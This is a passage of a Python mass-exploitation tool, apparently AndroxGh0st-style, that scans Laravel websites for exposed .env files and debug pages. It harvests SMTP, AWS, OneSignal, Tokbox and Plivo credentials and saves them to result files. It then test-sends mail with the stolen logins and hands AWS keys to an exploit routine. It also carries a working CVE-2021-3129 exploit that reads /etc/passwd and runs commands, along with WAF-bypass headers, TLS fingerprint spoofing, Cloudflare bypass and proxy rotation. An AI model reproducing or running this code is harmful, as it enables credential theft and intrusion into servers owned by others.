onesignal_auth = reg('\nONESIGNAL_USER_AUTH_KEY=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>ONESIGNAL_APP_ID</td>' in text:
method = 'debug'
try:
onesignal_id = reg(r'<td>ONESIGNAL_APP_ID</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
onesignal_token = reg(r'<td>ONESIGNAL_REST_API_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
onesignal_auth = reg(r'<td>ONESIGNAL_USER_AUTH_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if onesignal_id or onesignal_token or onesignal_auth:
build = f'URL: {url}\nMETHOD: {method}\nONESIGNAL_APP_ID: {onesignal_id}\nONESIGNAL_REST_API_KEY: {onesignal_token}\nONESIGNAL_USER_AUTH_KEY: {onesignal_auth}'
remover = build.replace('\r', '')
write_to_file_safe('Results/ONESIGNAL.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] OneSignal: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
# TOKBOX (DEV, PROD, OLD)
elif "TOKBOX_KEY" in text: # Catch all Tokbox keys
tokbox_key = ''
tokbox_secret = ''
method = ''
key_type = "TOKBOX" # Default
if "TOKBOX_KEY_DEV=" in text:
method = '/.env'
key_type = "TOKBOX_DEV"
try:
tokbox_key = reg('\nTOKBOX_KEY_DEV=(.*?)\n', text)[0]
except IndexError: pass
try:
tokbox_secret = reg('\nTOKBOX_SECRET_DEV=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>TOKBOX_KEY_DEV</td>' in text:
method = 'debug'
key_type = "TOKBOX_DEV"
try:
tokbox_key = reg(r'<td>TOKBOX_KEY_DEV</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
tokbox_secret = reg(r'<td>TOKBOX_SECRET_DEV</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
elif "TOKBOX_KEY_OLD=" in text:
method = '/.env'
key_type = "TOKBOX_OLD"
try:
tokbox_key = reg('\nTOKBOX_KEY_OLD=(.*?)\n', text)[0]
except IndexError: pass
try:
tokbox_secret = reg('\nTOKBOX_SECRET_OLD=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>TOKBOX_KEY_OLD</td>' in text:
method = 'debug'
key_type = "TOKBOX_OLD"
try:
tokbox_key = reg(r'<td>TOKBOX_KEY_OLD</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
tokbox_secret = reg(r'<td>TOKBOX_SECRET_OLD</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
elif "TOKBOX_KEY=" in text: # Generic TOKBOX_KEY
method = '/.env'
try:
tokbox_key = reg('\nTOKBOX_KEY=(.*?)\n', text)[0]
except IndexError: pass
try:
tokbox_secret = reg('\nTOKBOX_SECRET=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>TOKBOX_KEY</td>' in text:
method = 'debug'
try:
tokbox_key = reg(r'<td>TOKBOX_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
tokbox_secret = reg(r'<td>TOKBOX_SECRET</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if tokbox_key or tokbox_secret:
build = f'URL: {url}\nMETHOD: {method}\n{key_type}_KEY: {tokbox_key}\n{key_type}_SECRET: {tokbox_secret}'
remover = build.replace('\r', '')
write_to_file_safe('Results/TOKBOX.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Tokbox ({key_type.replace('TOKBOX_', '')}): Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
# PLIVO
elif "PLIVO_AUTH_ID" in text:
plivo_auth = ''
plivo_secret = ''
method = ''
if "PLIVO_AUTH_ID=" in text:
method = '/.env'
try:
plivo_auth = reg('\nPLIVO_AUTH_ID=(.*?)\n', text)[0]
except IndexError: pass
try:
plivo_secret = reg('\nPLIVO_AUTH_TOKEN=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>PLIVO_AUTH_ID</td>' in text:
method = 'debug'
try:
plivo_auth = reg(r'<td>PLIVO_AUTH_ID</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
plivo_secret = reg(r'<td>PLIVO_AUTH_TOKEN</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if plivo_auth or plivo_secret:
build = f'URL: {url}\nMETHOD: {method}\nPLIVO_AUTH_ID: {plivo_auth}\nPLIVO_AUTH_TOKEN: {plivo_secret}'
remover = build.replace('\r', '')
write_to_file_safe('Results/PLIVO.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Plivo: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
else:
return False
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error in get_nexmo/sms_api for {url}: {e}\n")
return False
def get_smtp(self, text, url):
try:
if "MAIL_HOST" in text:
mailhost = ''
mailport = ''
mailuser = ''
mailpass = ''
mailfrom = ''
fromname = ''
method = ''
if "MAIL_HOST=" in text:
method = '/.env'
try:
mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0]
except IndexError: pass
try:
mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0]
except IndexError: pass
try:
mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0]
except IndexError: pass
try:
mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0]
except IndexError: pass
try:
mailfrom = reg("MAIL_FROM_ADDRESS=(.*?)\n", text)[0]
except IndexError: pass
try:
fromname = reg("MAIL_FROM_NAME=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>MAIL_HOST</td>" in text:
method = 'debug'
try:
mailhost = reg(r'<td>MAIL_HOST</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
mailport = reg(r'<td>MAIL_PORT</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
mailuser = reg(r'<td>MAIL_USERNAME</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
mailpass = reg(r'<td>MAIL_PASSWORD</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
mailfrom = reg(r'<td>MAIL_FROM_ADDRESS</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
fromname = reg(r'<td>MAIL_FROM_NAME</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if mailuser == "null" or mailpass == "null" or mailuser == "" or mailpass == "":
printf(f"{Fore.YELLOW}[!] SMTP: Keywords found but no valid user/pass for {url}{Style.RESET_ALL}")
return False
else:
printf(f"{Fore.GREEN}[+] SMTP: Credentials found for {url} (Host: {mailhost}){Style.RESET_ALL}")
build = f'URL: {url}\nMETHOD: {method}\nMAILHOST: {mailhost}\nMAILPORT: {mailport}\nMAILUSER: {mailuser}\nMAILPASS: {mailpass}\nMAILFROM: {mailfrom}\nFROMNAME: {fromname}'
remover = build.replace('\r', '')
# mod aws
if '.amazonaws.com' in mailhost:
try:
getcountry = reg('email-smtp.(.*?).amazonaws.com', mailhost)[0]
except IndexError:
getcountry = 'aws'
aws_key_smtp = ''
aws_sec_smtp = ''
try:
# Try to extract AWS keys from the same text if available
if "AWS_ACCESS_KEY_ID=" in text:
aws_key_smtp = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n", text)[0]
aws_sec_smtp = reg("\nAWS_SECRET_ACCESS_KEY=(.*?)\n", text)[0]
elif "<td>AWS_ACCESS_KEY_ID</td>" in text:
aws_key_smtp = reg(r"<td>AWS_ACCESS_KEY_ID<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
aws_sec_smtp = reg(r"<td>AWS_SECRET_ACCESS_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
elif "AWS_KEY=" in text:
aws_key_smtp = reg("\nAWS_KEY=(.*?)\n", text)[0]
aws_sec_smtp = reg("\nAWS_SECRET=(.*?)\n", text)[0]
elif "<td>AWS_KEY</td>" in text:
aws_key_smtp = reg(r"<td>AWS_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
aws_sec_smtp = reg(r"<td>AWS_SECRET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError:
pass
if aws_key_smtp and aws_sec_smtp:
printf(f"{Fore.CYAN}[*] SMTP AWS: Found AWS keys, attempting direct exploit for {url}{Style.RESET_ALL}")
try:
exploited = exploit_aws(aws_key_smtp.strip(), aws_sec_smtp.strip(), url)
if exploited:
printf(f"{Fore.GREEN}[+] SMTP AWS: AWS Exploit Success (from SMTP): {url} → {', '.join(exploited)}{Style.RESET_ALL}")
write_to_file_safe('Results/aws_exploited.txt', f"{url} → {', '.join(exploited)}\n")
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error during AWS exploit from SMTP for {url}: {e}\n")
write_to_file_safe(f'Results/{getcountry}.txt', remover + '\n\n')
write_to_file_safe('Results/smtp_aws.txt', remover + '\n\n')
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom) # Still attempt SMTP test
elif 'sendgrid' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/sendgrid.txt', remover+'\n\n')
elif 'office365' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/office.txt', remover+'\n\n')
elif '1and1' in mailhost or '1und1' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/1and1.txt', remover+'\n\n')
elif 'zoho' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/zoho.txt', remover+'\n\n')
elif 'mandrillapp' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
remover = build.replace('\r', '')
write_to_file_safe('Results/mandrill.txt', remover+'\n\n')
elif 'mailgun' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/mailgun.txt', remover+'\n\n')
else:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/SMTP_RANDOM.txt', remover+'\n\n')
return True
else:
return False
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error in get_smtp for {url}: {e}\n")
return False
def printf(text):
''.join([str(item) for item in text])
print((text + '\n'), end=' ')
def parse_leak_content(text):
if "APP_KEY=" in text and "=" in text:
return "env"
elif "<td>APP_KEY</td>" in text or "<table" in text:
return "html"
elif '"exception":' in text and '"trace":' in text:
return "json"
else:
return "unknown"
# Global instance of ProxyManager
proxy_manager = None
# --- NEW FEATURE: Selenium Fallback Helper ---
def get_page_with_selenium(url, current_proxy_str=None):
printf(f"{Fore.MAGENTA}[*] Selenium Fallback: Attempting to fetch {url} with Selenium...{Style.RESET_ALL}")
options = Options()
options.add_argument("--headless") # Run in headless mode
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument(f"user-agent={random.choice(USER_AGENTS)}")
if current_proxy_str:
options.add_argument(f'--proxy-server={current_proxy_str}')
# Use a lock to ensure only one Selenium instance is launched at a time
with selenium_lock:
driver = None
try:
# Automatically download and manage chromedriver
service = Service(ChromeDriverManager().install())
driver = webdriver.Chrome(service=service, options=options)
driver.set_page_load_timeout(30) # Set a timeout for page load
driver.get(url)
time.sleep(random.uniform(3, 7)) # Give some time for dynamic content to load
page_source = driver.page_source
printf(f"{Fore.GREEN}[+] Selenium Fallback: Successfully fetched content for {url}.{Style.RESET_ALL}")
return page_source
except Exception as e:
printf(f"{Fore.RED}[!] Selenium Fallback: Failed to fetch {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Selenium Fallback error for {url}: {e}\n")
return None
finally:
if driver:
driver.quit()
# --- END NEW FEATURE: Selenium Fallback Helper ---
# --- NEW FEATURE: CVE-2021-3129 Exploit Function ---
def exploit_cve_2021_3129(url, current_proxy, impersonate_string): # Pass impersonate_string
solutions = [
"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"Facade\\Ignition\\Solutions\\AddPackageSuggestionSolution",
"Facade\\Ignition\\Solutions\\SuggestCorrectControllerNameSolution",
"Facade\\Ignition\\Solutions\\SuggestCorrectBladeDirectiveSolution",
"Facade\\Ignition\\Solutions\\SuggestCorrectRouteNameSolution",
"Facade\\Ignition\\Solutions\\SuggestCorrectVariableNameSolution",
"Facade\\Ignition\\Solutions\\UpdateBladeDirectiveSolution",
"Facade\\Ignition\\Solutions\\UpdatePackageVersionSolution",
"Facade\\Ignition\\Solutions\\UpdateServiceProviderSolution",
"Facade\\Ignition\\Solutions\\UseCorrectParameterCaseSolution",
"Facade\\Ignition\\Solutions\\UseCorrectRouteParameterSolution",
"Facade\\Ignition\\Solutions\\UseCorrectViewNameSolution",
"Facade\\Ignition\\Solutions\\UseCorrectViewVariableSolution",
]
specific_payload = {
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "x",
"viewFile": "php://filter/convert.base64-encode/resource=/etc/passwd"
}
}
command_payload_template = {
"report": {
"solution": "SOLUTION_CLASS",
"parameters": {
"command": "CMD_TO_EXEC"
}
}
}
# Initialize curl_cffi session for exploit
exploit_session = cffi_requests.Session(
impersonate=impersonate_string,
verify=False,
timeout=(3, 5)
)
if current_proxy:
exploit_session.proxies = {'http': current_proxy['http'], 'https': current_proxy['https']}
exploit_session.headers.update({
'User-agent': random.choice(USER_AGENTS),
'Accept': 'application/json', # Important for Ignition endpoint
'Content-Type': 'application/json'
})
printf(f"{Fore.CYAN}[*] CVE-2021-3129: Trying specific payload (read /etc/passwd) on {url}{Style.RESET_ALL}")
try:
res = exploit_session.post(f"{url}/_ignition/execute-solution", json=specific_payload)
if res.status_code == 200 and "root:x:" in str(base64.b64decode(res.text)):
printf(f"{Fore.GREEN}[+] CVE-2021-3129: Exploitable (Read /etc/passwd) on {url}{Style.RESET_ALL}")
content = f"Vulnerable URL: {url}\nExploit Type: Read /etc/passwd\nPayload: {json.dumps(specific_payload)}\nResponse (base64 decoded): {base64.b64decode(res.text).decode(errors='ignore').strip()}\n\n"
write_to_file_safe('Results/cve_2021_3129_exploited.txt', content)
return True
elif res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit")
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Rate limited (429) with specific payload on {url}. Proxy marked failed.{Style.RESET_ALL}")
return False # Don't try other payloads with this proxy immediately
except cffi_requests.exceptions.RequestError as e:
if current_proxy and proxy_manager: proxy_manager.mark_proxy_failed(current_proxy['http'], "connection_error")
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Request error with specific payload on {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Request error with specific CVE-2021-3129 payload on {url} with proxy {current_proxy}: {e}\n")
pass
except Exception as e:
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Error processing specific payload response on {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error processing specific CVE-2021-3129 payload response on {url}: {e}\n")
pass
finally: # OPTIMIZATION: Add random delay
time.sleep(random.uniform(0.05, 0.2))
printf(f"{Fore.CYAN}[*] CVE-2021-3129: Trying general command execution payload (id) on {url}{Style.RESET_ALL}")
for solution in solutions:
cmd = "id"
payload_to_send = command_payload_template.copy()
payload_to_send['report']['solution'] = solution
payload_to_send['report']['parameters']['command'] = cmd
try:
res = exploit_session.post(f"{url}/_ignition/execute-solution", json=payload_to_send)
if res.status_code == 200 and "uid=" in res.text and "gid=" in res.text:
printf(f"{Fore.GREEN}[+] CVE-2021-3129: Exploitable (Command Execution) on {url} (Solution: {solution}){Style.RESET_ALL}")
content = f"Vulnerable URL: {url}\nExploit Type: Command Execution\nExploitable Solution: {solution}\nVerification Command Output (id): {res.text.strip()}\n\n"
write_to_file_safe('Results/cve_2021_3129_exploited.txt', content)
return True
elif res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit")
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Rate limited (429) with general payload on {url}. Proxy marked failed.{Style.RESET_ALL}")
return False # Don't try other payloads with this proxy immediately
except cffi_requests.exceptions.RequestError as e:
if current_proxy and proxy_manager: proxy_manager.mark_proxy_failed(current_proxy['http'], "connection_error")
# printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Request error with general payload on {url} (Solution: {solution}) ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Request error with general CVE-2021-3129 payload on {url} (Solution: {solution}) with proxy {current_proxy}: {e}\n")
pass
except Exception as e:
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Error processing general payload response on {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error processing general CVE-2021-3129 payload response on {url}: {e}\n")
pass
finally: # OPTIMIZATION: Add random delay
time.sleep(random.uniform(0.05, 0.2))
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: No command execution found for {url}{Style.RESET_ALL}")
return False
def main(url):
global proxy_manager
resp = None
leak_path = None
is_cve_2021_3129_vulnerable = False
is_mix_manifest_found = False
current_proxy = None
current_proxy_str = None # For Selenium
if proxy_manager:
current_proxy = proxy_manager.get_next_proxy()
if current_proxy:
current_proxy_str = current_proxy['http'] # For Selenium
printf(f"{Fore.BLUE}[*] Using proxy: {current_proxy['http']} for {url}{Style.RESET_ALL}")
else:
printf(f"{Fore.YELLOW}[!] No available proxies. Continuing without proxy for {url}.{Style.RESET_ALL}")
# Define headers once
headers = {
'User-agent': random.choice(USER_AGENTS),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'DNT': '1',
'Cache-Control': 'no-cache',
'Pragma': 'no-cache',
'Referer': 'https://google.com',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded'
}
# --- New Helper Function for Requests with Cloudscraper & Selenium Fallback ---
def make_request_with_fallback(method, target_url, **kwargs):
nonlocal current_proxy, current_proxy_str # Allow modification of current_proxy if proxy fails
# Add parameter padding for GET requests
if method == 'GET':
if 'params' not in kwargs:
kwargs['params'] = {}
kwargs['params'][f'padding_{random.randint(1000,9999)}'] = random.randint(10000,99999)
# Add parameter padding for POST requests (if data is dict)
if method == 'POST':
if 'data' in kwargs and isinstance(kwargs['data'], dict):
kwargs['data'][f'padding_{random.randint(1000,9999)}'] = random.randint(10000,99999)
# Header Injection (WAF Bypass Headers)
waf_bypass_headers = {
"X-Original-URL" : "/.env",
"X-Rewrite-URL" : "/.env",
"X-Forwarded-For" : "127.0.0.1",
"X-Client-IP" : "127.0.0.1",
"X-Custom-IP-Authorization": "127.0.0.1",
"X-Forwarded-Host" : "127.0.0.1",
"X-Host" : "127.0.0.1",
"X-Forwarded-Server" : "127.0.0.1",
"X-Real-IP" : "127.0.0.1",
"Forwarded" : "for=127.0.0.1;host=127.0.0.1;proto=http",
"Cache-Control" : "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0",
"Via" : "1.1 cache-poison",
"X-Cache" : "MISS",
"X-Forwarded-Proto" : "https",
"X-HTTP-Method-Override" : "GET",
"X-Attacker" : "itlucifero",
"X-From-IP" : "127.0.0.1",
"X-Wap-Profile" : "http://www.google.com/wap.wml"
}
# Combine base headers with WAF bypass headers
combined_headers = {**headers, **waf_bypass_headers}
# Choose a random JA3 impersonation string
impersonate_string = random.choice(JA3_IMPERSONATIONS)
# Attempt with curl_cffi first (with JA3 spoofing)
try:
printf(f"{Fore.BLUE}[*] Trying curl_cffi (JA3: {impersonate_string}) for {target_url}{Style.RESET_ALL}")
cffi_session = cffi_requests.Session(
impersonate=impersonate_string,
verify=False, # Disable SSL verification
timeout=(3, 5) # Connect timeout, Read timeout
)
cffi_session.headers.update(combined_headers)
if current_proxy:
cffi_session.proxies = {'http': current_proxy['http'], 'https': current_proxy['https']}
if method == 'GET':
res = cffi_session.get(target_url, **kwargs)
elif method == 'POST':
res = cffi_session.post(target_url, **kwargs)
else:
return None # Unsupported method
# Check for common Cloudflare/WAF blocking indicators
if res.status_code in [403, 503, 429] or "Just a moment..." in res.text or "DDoS protection by Cloudflare" in res.text:
printf(f"{Fore.YELLOW}[!] Detected potential WAF/Cloudflare block for {target_url} (Status: {res.status_code}). Attempting Cloudscraper fallback...{Style.RESET_ALL}")
# Fallback to cloudscraper
try:
scraper = cloudscraper.create_scraper(
sess=None,
proxies=current_proxy,
headers=combined_headers, # Use combined headers for cloudscraper
delay=10,
browser={'browser': 'chrome', 'platform': 'windows', 'mobile': False}
)
if method == 'GET':
res_cs = scraper.get(target_url, **kwargs)
elif method == 'POST':
res_cs = scraper.post(target_url, **kwargs)
if res_cs.status_code == 200:
printf(f"{Fore.GREEN}[+] Cloudscraper fallback successful for {target_url}.{Style.RESET_ALL}")
return res_cs
else:
printf(f"{Fore.RED}[!] Cloudscraper fallback failed for {target_url} (Status: {res_cs.status_code}). Attempting Selenium fallback...{Style.RESET_ALL}")
# Fallback to Selenium
selenium_content = get_page_with_selenium(target_url, current_proxy_str)
if selenium_content:
# Create a dummy response object to mimic requests.Response
class SeleniumResponse:
def __init__(self, content, url):
self.text = content
self.status_code = 200 # Assume 200 if content is retrieved
self.url = url
self.headers = {} # Dummy headers
return SeleniumResponse(selenium_content, target_url)
return None
except Exception as cs_e:
printf(f"{Fore.RED}[!] Cloudscraper fallback encountered an error for {target_url}: {cs_e}. Attempting Selenium fallback...{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Cloudscraper fallback error for {target_url}: {cs_e}\n")
# Fallback to Selenium
selenium_content = get_page_with_selenium(target_url, current_proxy_str)
if selenium_content:
class SeleniumResponse:
def __init__(self, content, url):
self.text = content
self.status_code = 200
self.url = url
self.headers = {}
return SeleniumResponse(selenium_content, target_url)
return None
return res # Return original response if no block detected
except cffi_requests.exceptions.RequestError as e:
if current_proxy and proxy_manager: proxy_manager.mark_proxy_failed(current_proxy['http'], "connection_error_cffi")
printf(f"{Fore.YELLOW}[!] curl_cffi error for {target_url} ({e}). Attempting Cloudscraper fallback...{Style.RESET_ALL}")
# Fallback to cloudscraper on connection error
try:
scraper = cloudscraper.create_scraper(
sess=None,
proxies=current_proxy,
headers=combined_headers,
delay=10,
browser={'browser': 'chrome', 'platform': 'windows', 'mobile': False}
)
if method == 'GET':
res_cs = scraper.get(target_url, **kwargs)
elif method == 'POST':
res_cs = scraper.post(target_url, **kwargs)
if res_cs.status_code == 200:
printf(f"{Fore.GREEN}[+] Cloudscraper fallback successful for {target_url}.{Style.RESET_ALL}")
return res_cs
else:
printf(f"{Fore.RED}[!] Cloudscraper fallback failed for {target_url} (Status: {res_cs.status_code}). Attempting Selenium fallback...{Style.RESET_ALL}")
# Fallback to Selenium
selenium_content = get_page_with_selenium(target_url, current_proxy_str)
if selenium_content:
class SeleniumResponse:
def __init__(self, content, url):
self.text = content
self.status_code = 200
self.url = url
self.headers = {}
return SeleniumResponse(selenium_content, target_url)
return None
except Exception as cs_e:
printf(f"{Fore.RED}[!] Cloudscraper fallback encountered an error for {target_url}: {cs_e}. Attempting Selenium fallback...{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Cloudscraper fallback error for {target_url}: {cs_e}\n")
# Fallback to Selenium
selenium_content = get_page_with_selenium(target_url, current_proxy_str)
if selenium_content:
class SeleniumResponse:
def __init__(self, content, url):
self.text = content
self.status_code = 200
self.url = url
self.headers = {}
return SeleniumResponse(selenium_content, target_url)
return None
except Exception as e:
printf(f"{Fore.RED}[!] Unexpected error during request for {target_url}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error during request for {target_url}: {e}\n")
return None
# --- End New Helper Function ---
text = f"{Fore.WHITE}# {url}{Style.RESET_ALL}" # Inisialisasi awal untuk URL yang sedang diproses
printf(text) # Print URL yang sedang diproses
try:
# Daftar path yang akan discan (diperbarui sesuai diskusi)
paths = [
# Prioritas Tinggi: File .env dan variasinya
"/.env", "/env",
"/.env.bak", "/.env.dev", "/.env.example", "/.env.local", "/.env.test",
"/.env.save", "/.env.old", "/.env.txt", "/.env~", "/.env.backup", "/.env.production",
"/.env.prod", "/.env.development",
# Lokasi .env di dalam struktur proyek Laravel
"/vendor/.env", "/laravel/.env", "/laravel/config/.env", "/laravel/public/.env",
"/storage/logs/.env", "/storage/framework/cache/.env",
"/bootstrap/cache/.env", "/config/.env", "/config/.env.save", "/core/.env",
# Lokasi .env di subdirektori umum
"/api/.env", "/api/v1/.env", "/app/.env", "/data/.env", "/site/.env", "/env/.env",
"/public/.env", "/admin/.env", "/old/.env", "/dev/.env", "/test/.env",
# Lokasi .env di root web server
"/htdocs/.env", "/html/.env", "/web/.env", "/www/.env", "/logs/.env", "/.env/.env",
# Variasi versi .env
"/v1/.env", "/v2/.env", "/v3/.env", "/.v3/.env",
# Debug Pages dan CVE-2021-3129
"/_ignition/execute-solution", "/_ignition/health-check", "/_debugbar", "/debugbar", "/debug",
"/phpinfo.php", "/info.php",
"/telescope", "/telescope/telescope-api",
"/horizon", "/phpunit",
# Frontend Manifests
"/mix-manifest.json",
"/manifest.json",
"/firebase.json", "/.vercel/project.json",
# File konfigurasi umum lainnya
"/config.js", "/config.json", "/env.js", "/env.json",
"/env.bak", "/env.old.txt", "/env1.txt",
# Log Files
"/laravel.log", "/logs/laravel.log",
"/storage/logs/laravel.log",
# Bypass WAF/Encoding
"/%2eenv", "/..%2f.env", "/..;/env", "/..\\env", "/%2e%2e/.env"
]
leaks_found = []
printf(f"{Fore.CYAN}[*] Scanning: Attempting direct access to common Laravel paths for {url}{Style.RESET_ALL}")
for path in paths:
try:
# Gunakan fungsi helper make_request_with_fallback
res = make_request_with_fallback('GET', url + path, allow_redirects=False)
if res is None: # Jika make_request_with_fallback mengembalikan None (gagal)
continue # Lanjutkan ke path/proxy berikutnya
if res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit")
printf(f"{Fore.YELLOW}[!] Rate limited (429) for {url}{path}. Proxy marked failed.{Style.RESET_ALL}")
continue # Lanjutkan ke path/proxy berikutnya
if any(x in res.text for x in ["APP_KEY=", "SES_KEY=", "<td>APP_KEY</td>"]):
leaks_found.append((path, res.text))
printf(f"{Fore.GREEN}[+] Found potential leak at {url}{path}{Style.RESET_ALL}")
if path == "/mix-manifest.json" and res.status_code == 200 and "mix" in res.text and ".js" in res.text:
is_mix_manifest_found = True
write_to_file_safe('Results/mix_manifest_found.txt', f"Found mix-manifest.json: {url}/mix-manifest.json\n")
printf(f"{Fore.GREEN}[+] Found mix-manifest.json at {url}/mix-manifest.json{Style.RESET_ALL}")
# OPTIMIZATION: Check for CVE-2021-3129 immediately if _ignition path is hit
if "_ignition" in path and res.status_code == 200:
printf(f"{Fore.CYAN}[*] Scanning: Potential CVE-2021-3129 target found at {url}{path}. Attempting exploit...{Style.RESET_ALL}")
# exploit_cve_2021_3129 sekarang menerima current_proxy dan impersonate_string
if exploit_cve_2021_3129(url, current_proxy, random.choice(JA3_IMPERSONATIONS)):
is_cve_2021_3129_vulnerable = True
except Exception as e: # Tangkap error tak terduga lainnya
printf(f"{Fore.RED}[!] Unexpected error (GET) for {url}{path}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error (GET) for {url}{path}: {e}\n")
continue
finally:
time.sleep(random.uniform(0.05, 0.2)) # Delay acak kecil
# ✅ 2. Jika belum ada yang bocor, coba bypass WAF pakai header injection (sudah digabung di make_request_with_fallback)
# Logika ini sekarang ditangani secara otomatis oleh make_request_with_fallback dengan combined_headers
# Jadi tidak perlu loop terpisah di sini, cukup pastikan make_request_with_fallback dipanggil dengan benar.
# ✅ 3. Ambil hasil pertama dari leaks_found
if leaks_found:
path, resp = leaks_found[0]
leak_type = parse_leak_content(resp)
leak_path = f"{path} ({leak_type})"
text = f"{Fore.GREEN}# {url} | Leaked: {leak_path}{Style.RESET_ALL}"
# Re-check CVE-2021-3129 if a debug page was the source of the leak
if "_ignition" in path and not is_cve_2021_3129_vulnerable:
printf(f"{Fore.CYAN}[*] Scanning: Potential CVE-2021-3129 target found at {url}{path}. Re-attempting exploit...{Style.RESET_ALL}")
if exploit_cve_2021_3129(url, current_proxy, random.choice(JA3_IMPERSONATIONS)):
is_cve_2021_3129_vulnerable = True
# ✅ 4. Fallback POST jika masih belum ketemu
if not resp:
printf(f"{Fore.CYAN}[*] Scanning: No leak found via GET. Attempting POST fallback for {url}{Style.RESET_ALL}")
try:
# Gunakan fungsi helper
res = make_request_with_fallback('POST', url, data={"0x[]": "androxgh0st"}, allow_redirects=False)
if res is None: # Jika make_request_with_fallback mengembalikan None (gagal)
pass # Lanjutkan ke pemeriksaan berikutnya atau tandai tidak rentan
elif res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
